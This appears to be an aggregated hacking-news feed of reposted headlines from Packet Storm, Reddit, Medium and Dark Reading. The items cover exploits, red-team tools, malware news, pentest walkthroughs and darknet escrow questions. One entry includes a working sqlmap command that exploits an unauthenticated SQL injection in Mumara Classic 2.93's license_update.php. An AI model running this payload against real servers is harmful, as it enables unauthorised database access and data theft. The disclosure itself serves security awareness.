7 addresses for first roundContinue reading on Medium » (https://shibawallet.medium.com/the-rewards-bounty-for-bug-error-findings-d305ae16552?source=rss------bug_bounty-5)

Exploit Collector
Mumara Classic 2.93 SQL Injection

https://3.bp.blogspot.com/-WgHI0tg_gBA/WWlu6qiRwXI/AAAAAAAAIJQ/y7F9DyJjlcsOiH2i6j2FGMtA3ctyoL26QCLcBGAs/s1600/h109.png
Mumara Classic versions 2.93 and below suffer from a remote SQL injection vulnerability.

MD5 | e99bd2dd9e8e8c155f25b63cc633aeab

Download
# Exploit Title: Mumara Classic 2.93 - 'license' SQL Injection (Unauthenticated)
# Date: 2021-11-11
# Exploit Author: (v0yager) Shain Lakin
# Vendor Homepage: https://mumara.com
# Version: <=
# Tested on: CentOS 7

-==== Vulnerability ====-

An SQL injection vulnerability in license_update.php in Mumara Classic
through 2.93 allows a remote unauthenticated attacker to execute
arbitrary SQL commands via the license parameter.

-==== POC ====-

Using SQLMap:

sqlmap -u https://target/license_update.php --method POST --data "license=MUMARA-Delux-01x84ndsa40&install=install" -p license --cookie="PHPSESSID=any32gbaer3jaeif108fjci9x" --dbms=mysql

Source:packetstormsecurity.com

Exploit Collector
Microsoft Windows MultiPoint Server 2011 SP1 Local Privilege Escalation

https://4.bp.blogspot.com/-gQsa2Au6OFw/WWlvKe9cGFI/AAAAAAAAIME/7MuhuX3Jqy0CeEu0oyVXmXST8BDpKvIGgCLcBGAs/s1600/h15.png
Microsoft MultiPoint Server 2011 version 6.1 Compilation 7601 Service Pack 1 suffers from an RpcEptMapper and Dnschade local privilege escalation vulnerability.

MD5 | cacf7141095d96fae201e42425d1f33d

Download
Source:packetstormsecurity.com

Dark Reading: Attacks/Breaches
How to Hire — and Retain — Effective Threat Hunters

Key characteristics that should be evaluated include curiosity, disposition, and fit with the culture.

fee - Execute ELF binaries without dropping files on disk
https://www.reddit.com/r/redteamsec/comments/qsij0r/fee_execute_elf_binaries_without_dropping_files/

submitted by /u/crower (https://www.reddit.com/user/crower)
[link] (https://github.com/nnsee/fileless-elf-exec) [comments] (https://www.reddit.com/r/redteamsec/comments/qsij0r/fee_execute_elf_binaries_without_dropping_files/)

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Es crow automatically paid

What did this mean

submitted by /u/mscott303
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Deep Web
Hypothetically speaking "if you bought somthing on escrow then the next day the dealer had the money without the es crow,why is this. Its confusing me lol

submitted by /u/mscott303
[link] [comments]

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Safe Browsing Tips to keep you safe while on the Internet

https://cdn-images-1.medium.com/max/1024/1*1R1uenVMvcaJx0vnkWBkfA.jpeg
Most of the time, the possibility of any cyber attack to work successfully requires the end user (you) to perform a certain action, which…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Pluck VM Walkthrough

https://cdn-images-1.medium.com/max/600/1*b31hiO4ynbDLRrXWEFF4aQ.png
Makineyi indirebilirsiniz.

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Ciberdelincuentes usan cada vez más el contrabando de HTML en ataques de malware y phishing

https://cdn-images-1.medium.com/max/1437/0*l5L1nwEoLC9vuMoE
PUBLICADO EN 12 NOVIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Nmap for Pentester: Password Cracking

We will deal with the exhibit for Nmap Brute NSE Script for word reference assault in this article since Nmap is such a huge device that…

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Hacking on Medium
Abcbot: Un nuevo malware de botnet Wormable en evolución dirigido a Linux

https://cdn-images-1.medium.com/max/1536/0*lJTsP8ypTu7Fuh99
PUBLICADO EN 12 NOVIEMBRE, 2021POR EHACKING

Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video